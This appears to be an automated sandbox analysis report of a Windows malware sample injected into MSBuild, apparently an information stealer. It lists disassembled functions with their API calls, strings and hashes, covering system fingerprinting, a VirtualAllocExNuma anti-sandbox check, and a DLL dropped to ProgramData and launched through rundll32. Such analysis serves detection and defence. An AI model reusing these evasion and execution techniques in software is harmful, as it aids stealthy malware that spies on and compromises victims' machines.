Function 00410B30 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B44
HeapAlloc.KERNEL32(00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B4B
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B79
RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B95
RegCloseKey.ADVAPI32(00436888,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B9E

Strings

Windows 11, xrefs: 00410B5C

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: e3368c902befc4cf7a45888ed36aa8236a31042c29ba286c6ff82d11e2c4ce16
Instruction ID: c636f12a4b9fd3341eb7223670fa9a8d4496e2c02347a6f2be12f88bf3247473
Opcode Fuzzy Hash: e3368c902befc4cf7a45888ed36aa8236a31042c29ba286c6ff82d11e2c4ce16
Instruction Fuzzy Hash: 1AF06875600304FBFF149BD1DC4AFAB7A7EEB4470AF1410A5F601D5190E7B6AA909714

Function 00410BA9 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BBD
HeapAlloc.KERNEL32(00000000,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BC4
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BE2
RegQueryValueExA.KERNEL32(00436888,CurrentBuildNumber,00000000,00000000,00000000,000000FF,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ), ref: 00410BFD
RegCloseKey.ADVAPI32(00436888,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410C06

Strings

CurrentBuildNumber, xrefs: 00410BF5

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: c84c6eb54361118da4c3cf5dc7048b6cc90d818083839d71d976e1457e1e6126
Instruction ID: adfa9e2f60a12e4d5f9b95a3627e322926d469c0f3b43989f67d349f50e983ff
Opcode Fuzzy Hash: c84c6eb54361118da4c3cf5dc7048b6cc90d818083839d71d976e1457e1e6126
Instruction Fuzzy Hash: E9F09075640304BBEF159B90DC0AFAF7A7EEB44B06F240055F601A50A0E6B25A909B50

Function 00411757 Relevance: 9.1, APIs: 6, Instructions: 58commemoryCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0041175E
CoCreateInstance.OLE32(004331B0,00000000,00000001,0043B018,?,00000018,00411901,?), ref: 00411781
SysAllocString.OLEAUT32(?), ref: 0041178E
_wtoi64.MSVCRT ref: 004117C1
SysFreeString.OLEAUT32(?), ref: 004117DA
SysFreeString.OLEAUT32(00000000), ref: 004117E1

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: String$Free$AllocCreateH_prolog3_catchInstance_wtoi64
String ID:
API String ID: 181426013-0
Opcode ID: c2f6d16d6af2cd9c2543edbdd70375dccd549122af3fd15938b7ee4cd554efb1
Instruction ID: 0994ca530c552eb12484d48fed68a7c00db0df5c681817d2f603923d478d8980
Opcode Fuzzy Hash: c2f6d16d6af2cd9c2543edbdd70375dccd549122af3fd15938b7ee4cd554efb1
Instruction Fuzzy Hash: B1114C75A0420ADFCB019FA4CC989EEBBB5AF49310F64417EF215E73A0CB394945CB68

Function 004010F0 Relevance: 9.1, APIs: 6, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,001E5D70,00003000,00000004), ref: 004010AA
_memset.LIBCMT ref: 004010D0
VirtualFree.KERNEL32(00000000,001E5D70,00008000), ref: 004010E6
GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,004185DC), ref: 00401100
VirtualAllocExNuma.KERNEL32(00000000), ref: 00401107
ExitProcess.KERNEL32 ref: 00401112

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Virtual$AllocProcess$CurrentExitFreeNuma_memset
String ID:
API String ID: 1859398019-0
Opcode ID: a924c371d945ebb2b407fd39f7f412d7c5603bda08bc6eafd39d46e5dedd0ee5
Instruction ID: 46aed83c215a1155ddf1663667cd5ec87320cd9fa35168939231c0eb8388c106
Opcode Fuzzy Hash: a924c371d945ebb2b407fd39f7f412d7c5603bda08bc6eafd39d46e5dedd0ee5
Instruction Fuzzy Hash: 57F0C27278122077F22422763C6EFAB5A6C9B42F56F205035F309FB2D0D66998049ABC

Function 00412962 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

ShellExecuteEx.SHELL32(?), ref: 00412B84

Strings

C:\Windows\system32\rundll32.exe, xrefs: 00412AE3
"" , xrefs: 00412A32
.dll, xrefs: 004129ED
C:\ProgramData\, xrefs: 00412995

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: "" $.dll$C:\ProgramData\$C:\Windows\system32\rundll32.exe
API String ID: 2215929589-2108736111
Opcode ID: 3c3eaabb6bf30a628491cb7f6c6410e5825dbbecd231003ae5c9a6d33902ade5
Instruction ID: fcd8ae3be328f2bece2d36ab058f070ab7b5b8f350f6457e4fbb623da5ab610c
Opcode Fuzzy Hash: 3c3eaabb6bf30a628491cb7f6c6410e5825dbbecd231003ae5c9a6d33902ade5
Instruction Fuzzy Hash: 4871EE71E40119ABCF10FFA6DD466CDB7B5AF04308F51406BF510B7191DBB8AE8A8B98

Function 00411684 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004116CE

Part of subcall function 004123D5: malloc.MSVCRT ref: 004123DA
Part of subcall function 004123D5: strncpy.MSVCRT ref: 004123EB

lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713
GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Strings

Unknown, xrefs: 0041173C

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$CurrentProfile_memsetlstrcpymallocstrncpy
String ID: Unknown
API String ID: 2781187439-1654365787
Opcode ID: 7ac010871cfdc6928f55026d9108d12a4a42d5102455bbea89dd41d9649856e6
Instruction ID: cfd5adc8c7fec37571e4615a2d659ce623d81488d817e1095ce6785adf6647ed
Opcode Fuzzy Hash: 7ac010871cfdc6928f55026d9108d12a4a42d5102455bbea89dd41d9649856e6
Instruction Fuzzy Hash: 1A11B971A0011CABCB10EB65DC45FCD7378AB14704F0000A6B645E7191DAB89FC88F58

Function 00411119 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 00411131
HeapAlloc.KERNEL32(00000000), ref: 00411138
GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00411154
wsprintfA.USER32 ref: 0041117A

Strings

%d MB, xrefs: 00411174

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB
API String ID: 3644086013-2651807785
Opcode ID: 17f18dc7cf53f9ebfacd37114c0aa46941e1124f845af7428171d2bc88ac11d2
Instruction ID: d79e8d54b07d2f615201cd360c868d95b9dac01f4be2040cf9acff1c057e51b0
Opcode Fuzzy Hash: 17f18dc7cf53f9ebfacd37114c0aa46941e1124f845af7428171d2bc88ac11d2
Instruction Fuzzy Hash: F201A9B1E00218BBEB08DFB4DC45EEFB7B9EF08705F04006AF602D7290EA7599818758

Function 0041BD34 Relevance: 7.6, APIs: 5, Instructions: 99fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,759774F0,?,0041CD01,?,0041CD8F,00000000,06400000,00000003,00000000,0041768F,.exe,00436C5C), ref: 0041BD81
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,759774F0,?,0041CD01,?,0041CD8F,00000000,06400000,00000003,00000000), ref: 0041BDB9

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$CreatePointer
String ID:
API String ID: 2024441833-0
Opcode ID: c2a5f8e1d00489231e5594f9a747e25d59c8a13e659a0516d0e6ae57d101117a
Instruction ID: 96129ee170b6e52e4a698042c6e04e57a17f8ea6b04b39fd16cd668f0541581b
Opcode Fuzzy Hash: c2a5f8e1d00489231e5594f9a747e25d59c8a13e659a0516d0e6ae57d101117a
Instruction Fuzzy Hash: F23165B05047049FDB349F25D898BE77AE9EB14354F108B2FE296D2680D33898C4CB99

Function 6CABC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CABC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CABC969
GetSystemInfo.KERNEL32(?), ref: 6CABC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CABC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CABC9E2

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 44b794740409505db11df90ac17ef430f5b4746b9b2ef7e9aeaced43e58694a7
Instruction ID: a539c120927b071af9feed3a9a137362f21c0bd204452608f2bcd075cc662378
Opcode Fuzzy Hash: 44b794740409505db11df90ac17ef430f5b4746b9b2ef7e9aeaced43e58694a7
Instruction Fuzzy Hash: DC21F9317412286BEB14AA69DC84FBE73BDBB46748F50051EF903B7A40DB706C848791

Function 00404AB6 Relevance: 7.6, APIs: 5, Instructions: 50stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID:
API String ID: 1274457161-0
Opcode ID: f25c82f9083139f9dc305e99f373a1749f43e790606f1cfdd691ee0f4a79a4b6
Instruction ID: f1c5382da97c9dd65e4db87c3c806c9c9b4e03b01775002e3606c6f6cd357758
Opcode Fuzzy Hash: f25c82f9083139f9dc305e99f373a1749f43e790606f1cfdd691ee0f4a79a4b6
Instruction Fuzzy Hash: E9011B72D00218ABDF149BA9DC45ADEBFB8AF55330F10821AF925F72E0DB745A058B94

Function 00410F51 Relevance: 7.5, APIs: 5, Instructions: 35registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C), ref: 00410F65
HeapAlloc.KERNEL32(00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410F6C
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ), ref: 00410F8A
RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000), ref: 00410FA6
RegCloseKey.ADVAPI32(00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410FAF

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 516f2c0c8b5e6a914cb95f881748b3b593324cf3efc2baeb97f22068c18ac649
Instruction ID: 198c8e352812e869def4411d780e2caea40c147a773264a459f6a712475eeb20
Opcode Fuzzy Hash: 516f2c0c8b5e6a914cb95f881748b3b593324cf3efc2baeb97f22068c18ac649
Instruction Fuzzy Hash: C9F03075640304FBEF148B90DC0AFAE7B7EEB44706F141094F601A51A0E7B29B509B60

Function 004083D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,0040DB0A), ref: 004083F2

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 00410581

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

SetEnvironmentVariableA.KERNEL32(?,00437194,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,004367C3,?,?,?,?,?,?,?,?,0040DB0A), ref: 00408447
LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,0040DB0A), ref: 0040845B

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 004083E6, 004083EB, 00408405

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
